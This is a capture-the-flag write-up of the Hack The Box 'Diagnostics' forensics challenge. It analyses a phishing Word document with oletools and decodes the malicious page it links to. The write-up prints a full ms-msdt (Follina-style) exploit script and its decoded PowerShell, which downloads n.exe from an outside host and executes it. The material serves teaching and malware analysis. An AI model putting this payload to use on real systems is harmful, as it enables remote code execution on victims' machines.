Dignostics | Hack The Box | Forensics

100 Day's Of Cybersecurity - Day 2

Challenge Description

Our SOC has identified numerous phishing emails coming in claiming to have a document about an upcoming round of layoffs in the company. The emails all contain a link to diagnostic.htb/layoffs.doc. The DNS for that domain has since stopped resolving, but the server is still hosting the malicious document (your docker). Take a look and figure out what’s going on.

/etc/host

First thing first! as this challenge is based on instances

1. Start The instance
2. Copy the target ip and port number
3. Add it to /etc/hosts/

Initial Analysis

As the perticular path is mentioned in the challenge description diagnostic.htb/layoffs.doc lets download the doc and analyse it first!!

There are tools that will analyze an Office doc to see if there are any macros, that SANS document lists a python script called Oledump that can extract macro data.

                                                                                      
┌──(root㉿kali)-[/home/kali/Desktop/challenge-files]
└─# oleid diagnostic.doc              
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: diagnostic.doc
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description               
--------------------+--------------------+----------+--------------------------
File format         |MS Word 2007+       |info      |                          
                    |Document (.docx)    |          |                          
--------------------+--------------------+----------+--------------------------
Container format    |OpenXML             |info      |Container type            
--------------------+--------------------+----------+--------------------------
Encrypted           |False               |none      |The file is not encrypted 
--------------------+--------------------+----------+--------------------------
VBA Macros          |No                  |none      |This file does not contain
                    |                    |          |VBA macros.               
--------------------+--------------------+----------+--------------------------
XLM Macros          |No                  |none      |This file does not contain
                    |                    |          |Excel 4/XLM macros.       
--------------------+--------------------+----------+--------------------------
External            |1                   |HIGH      |External relationships    
Relationships       |                    |          |found: oleObject - use    
                    |                    |          |oleobj for details        
--------------------+--------------------+----------+--------------------------

With this we found that there’s an external relationship probability

http://diagnostic.htb:32150/223_index_style_fancy.html

in the page source i found one script

<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JHtmYGlsZX0gPSAoIns3fXsxfXs2fXs4fXs1fXszfXsyfXs0fXswfSItZid9LmV4ZScsJ0J7bXNEdF80c19BX3ByMCcsJ0UnLCdyLi4ucycsJzNNc19iNEQnLCdsMycsJ3RvQycsJ0hUJywnMGxfaDRuRCcpCiYoInsxfXsyfXswfXszfSItZid1ZXMnLCdJbnZva2UnLCctV2ViUmVxJywndCcpICgiezJ9ezh9ezB9ezR9ezZ9ezV9ezN9ezF9ezd9Ii1mICc6Ly9hdScsJy5odGIvMicsJ2gnLCdpYycsJ3RvJywnYWdub3N0JywnbWF0aW9uLmRpJywnL24uZXhlJywndHRwcycpIC1PdXRGaWxlICJDOlxXaW5kb3dzXFRhc2tzXCRmaWxlIgomKCgoIns1fXs2fXsyfXs4fXswfXszfXs3fXs0fXsxfSIgLWYnTDlGVGFza3NMOUYnLCdpbGUnLCdvdycsJ0wnLCdmJywnQzonLCdMOUZMOUZXaW5kJywnOUZrekgnLCdzTDlGJykpICAtQ1JlcGxBY2Una3pIJyxbY2hBcl0zNiAtQ1JlcGxBY2UoW2NoQXJdNzYrW2NoQXJdNTcrW2NoQXJdNzApLFtjaEFyXTkyKQo='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; 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CgpOb3cgZm9yIGEgY2hlZXIgdGhleSBhcmUgaGVyZSwKdHJpdW1waGFudCEKSGVyZSB0aGV5IGNvbWUgd2l0aCBiYW5uZXJzIGZseWluZywKSW4gc3RhbHdhcnQgc3RlcCB0aGV5J3JlIG5pZ2hpbmcsCldpdGggc2hvdXRzIG9mIHZpY3QncnkgY3J5aW5nLApXZSBodXJyYWgsIGh1cnJhaCwgd2UgZ3JlZXQgeW91IG5vdywKSGFpbCEKCkZhciB3ZSB0aGVpciBwcmFpc2VzIHNpbmcKRm9yIHRoZSBnbG9yeSBhbmQgZmFtZSB0aGV5J3ZlIGJybyd0IHVzCkxvdWQgbGV0IHRoZSBiZWxscyB0aGVtIHJpbmcKRm9yIGhlcmUgdGhleSBjb21lIHdpdGggYmFubmVycyBmbHlpbmcKRmFyIHdlIHRoZWlyIHByYWlzZXMgdGVsbApGb3IgdGhlIGdsb3J5IGFuZCBmYW1lIHRoZXkndmUgYnJvJ3QgdXMKTG91ZCBsZXQgdGhlIGJlbGxzIHRoZW0gcmluZwpGb3IgaGVyZSB0aGV5IGNvbWUgd2l0aCBiYW5uZXJzIGZseWluZwpIZXJlIHRoZXkgY29tZSwgSHVycmFoIQoKSGFpbCEgdG8gdGhlIHZpY3RvcnMgdmFsaWFudApIYWlsISB0byB0aGUgY29ucXUncmluZyBoZXJvZXMKSGFpbCEgSGFpbCEgdG8gTWljaGlnYW4KdGhlIGxlYWRlcnMgYW5kIGJlc3QKSGFpbCEgdG8gdGhlIHZpY3RvcnMgdmFsaWFudApIYWlsISB0byB0aGUgY29ucXUncmluZyBoZXJvZXMKSGFpbCEgSGFpbCEgdG8gTWljaGlnYW4sCnRoZSBjaGFtcGlvbnMgb2YgdGhlIFdlc3QhCgpXZSBjaGVlciB0aGVtIGFnYWluCldlIGNoZWVyIGFuZCBjaGVlciBhZ2FpbgpGb3IgTWljaGlnYW4sIHdlIGNoZWVyIGZvciBNaWNoaWdhbgpXZSBjaGVlciB3aXRoIG1pZ2h0IGFuZCBtYWluCldlIGNoZWVyLCBjaGVlciwgY2hlZXIKV2l0aCBtaWdodCBhbmQgbWFpbiB3ZSBjaGVlciEKCgpIYWlsISB0byB0aGUgdmljdG9ycyB2YWxpYW50CkhhaWwhIHRvIHRoZSBjb25xdSdyaW5nIGhlcm9lcwpIYWlsISBIYWlsISB0byBNaWNoaWdhbiwKdGhlIGNoYW1waW9ucyBvZiB0aGUgV2VzdCE= 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CkhhcmsgdGhlIHNvdW5kIG9mIFRhciBIZWVsIHZvaWNlcwpSaW5naW5nIGNsZWFyIGFuZCBUcnVlClNpbmdpbmcgQ2Fyb2xpbmEncyBwcmFpc2VzClNob3V0aW5nIE4uQy5VLgoKSGFpbCB0byB0aGUgYnJpZ2h0ZXN0IFN0YXIgb2YgYWxsCkNsZWFyIGl0cyByYWRpYW5jZSBzaGluZQpDYXJvbGluYSBwcmljZWxlc3MgZ2VtLApSZWNlaXZlIGFsbCBwcmFpc2VzIHRoaW5lLgoKTmVhdGggdGhlIG9ha3MgdGh5IHNvbnMgYW5kIGRhdWdodGVycwpIb21hZ2UgcGF5IHRvIHRoZWUKVGltZSB3b3JuIHdhbGxzIGdpdmUgYmFjayB0aGVpciBlY2hvCkhhaWwgdG8gVS5OLkMuCgpUaG91Z2ggdGhlIHN0b3JtcyBvZiBsaWZlIGFzc2FpbCB1cwpTdGlsbCBvdXIgaGVhcnRzIGJlYXQgdHJ1ZQpOYXVnaHQgY2FuIGJyZWFrIHRoZSBmcmllbmRzaGlwcyBmb3JtZWQgYXQKRGVhciBvbGQgTi5DLlUu
</scri

pt>

After processing it through Cyberchef i got this

${f`ile} = ("{7}{1}{6}{8}{5}{3}{2}{4}{0}"-f'}.exe','B{msDt_4s_A_pr0','E','r...s','3Ms_b4D','l3','toC','HT','0l_h4nD')
&("{1}{2}{0}{3}"-f'ues','Invoke','-WebReq','t') ("{2}{8}{0}{4}{6}{5}{3}{1}{7}"-f '://au','.htb/2','h','ic','to','agnost','mation.di','/n.exe','ttps') -OutFile "C:\Windows\Tasks\$file"
&((("{5}{6}{2}{8}{0}{3}{7}{4}{1}" -f'L9FTasksL9F','ile','ow','L','f','C:','L9FL9FWind','9FkzH','sL9F'))  -CReplAce'kzH',[chAr]36 -CReplAce([chAr]76+[chAr]57+[chAr]70),[chAr]92)

we can see the pattern here ! that is ${f`ile} = ("{7}{1}{6}{8}{5}{3}{2}{4}{0}"-f'}.exe','B{msDt_4s_A_pr0','E','r***s','3Ms_b4D','l3','to','HT','0l_h4nD')

After arranging it in a order We get the final flag!!

Flag

HTB{msDt_4s_A_pr0to******}